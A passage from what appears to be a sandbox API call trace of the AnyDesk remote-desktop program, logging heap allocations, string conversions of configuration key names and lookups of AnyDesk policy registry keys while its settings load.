hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead60, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.msg.channels_states") returned 23 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4f0 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x198cf68 [0283.189] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba28 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead54, cbMultiByte=-1, lpWideCharStr=0x196ba28, cchWideChar=12 | out: lpWideCharStr="ad.msg.data") returned 12 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d508 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba48 [0283.189] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c7cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c7cc, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.license.auto_reg_hash") returned 25 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e48 [0283.189] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x198fed8 [0283.189] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f8a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f8a4, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.license.id") returned 14 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e60 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1975230 [0283.190] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.license.name") returned 16 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e78 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1975258 [0283.190] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfb938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfb938, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.privacy.trigger") returned 19 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e90 [0283.190] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x198a188 [0283.191] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff1b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff1b8, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.security.acl_trigger") returned 24 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ea8 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x198cfa0 [0283.191] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x197b350 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=27 | out: lpWideCharStr="ad.service.remove_at_start") returned 27 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ec0 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x198ff18 [0283.191] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.restart.restore_bcd") returned 23 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ed8 [0283.191] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x198cfd8 [0283.192] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0c880, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0c880, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.roster.items") returned 16 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ef0 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1975280 [0283.192] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fdc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fdc, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.roster.recent_in") returned 20 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f08 [0283.192] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a1b8 [0283.193] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26ff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26ff0, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.roster.recent_out") returned 21 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f20 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x198d010 [0283.193] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4044, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba28 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4044, cbMultiByte=-1, lpWideCharStr=0x196ba28, cchWideChar=12 | out: lpWideCharStr="ad.ui.debug") returned 12 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f38 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba68 [0283.193] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a3c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.ui.inst_info_count") returned 22 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f50 [0283.193] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198d048 [0283.194] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27008, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1976660 [0283.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27008, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=18 | out: lpWideCharStr="ad.ui.last_advert") returned 18 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f68 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x198a1e8 [0283.194] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2701c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2701c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.ui.recommended_ad") returned 21 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f80 [0283.194] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x198d080 [0283.195] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27034, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.195] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1976660 [0283.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27034, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=18 | out: lpWideCharStr="ad.ui.show_social") returned 18 [0283.195] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f98 [0283.195] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x198a218 [0283.195] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.195] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196ba28 [0283.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d48 | out: phkResult=0x12d4d48*=0x0) returned 0x2 [0283.195] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196ba88 [0283.196] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.196] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d10, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d10*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14*=0x0, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4) returned 0x6 [0283.196] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d48 | out: phkResult=0x12d4d48*=0x0) returned 0x2 [0283.196] GetCurrentProcess () returned 0xffffffff [0283.196] GetProcessId (Process=0xffffffff) returned 0x51c [0283.196] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x12d4d60 | out: pSessionId=0x12d4d60) returned 1 [0283.196] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196baa8 [0283.196] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bac8 [0283.196] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.197] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196baa8 | out: hHeap=0x1930000) returned 1 [0283.197] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196baa8 [0283.197] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969fb0 [0283.197] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.197] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d10, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d10*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14*=0x0, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4) returned 0x6 [0283.197] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.197] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.197] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b9e8 | out: hHeap=0x1930000) returned 1 [0283.197] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.197] GetLastError () returned 0x0 [0283.197] GetSystemTime (in: lpSystemTime=0x12d4e5c | out: lpSystemTime=0x12d4e5c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x258)) [0283.197] GetCurrentThreadId () returned 0x520 [0283.197] GetCurrentProcessId () returned 0x51c [0283.197] GetLastError () returned 0x0 [0283.198] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4e58 | out: phkResult=0x12d4e58*=0x0) returned 0x2 [0283.198] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10eec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.198] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198bb08 [0283.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10eec, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=33 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens") returned 33 [0283.198] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974850 [0283.198] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198be78 [0283.198] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.198] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0283.199] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974868 [0283.199] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19752d0 [0283.199] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.199] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f58, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.auth_disabled") returned 24 [0283.199] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974880 [0283.199] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1990e60 [0283.199] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa80, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.auth_tokens") returned 22 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974898 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1990e98 [0283.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1974c40 [0283.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.cert") returned 15 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19748b0 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19752f8 [0283.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c724, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c724, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cli_ciphers") returned 22 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19748c8 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196ef40 [0283.200] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.201] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.201] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f70, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.conn_addrs") returned 21 [0283.201] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19748e0 [0283.201] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196ef78 [0283.202] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.202] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bb08 [0283.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa98, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=34 | out: lpWideCharStr="ad.anynet.connect_volatile_tokens") returned 34 [0283.202] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19748f8 [0283.202] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bec8 [0283.202] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.202] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0283.202] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974910 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196efb0 [0283.203] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.anynet.fpr") returned 14 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1974928 [0283.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1975320 [0283.203] HeapFree (in: 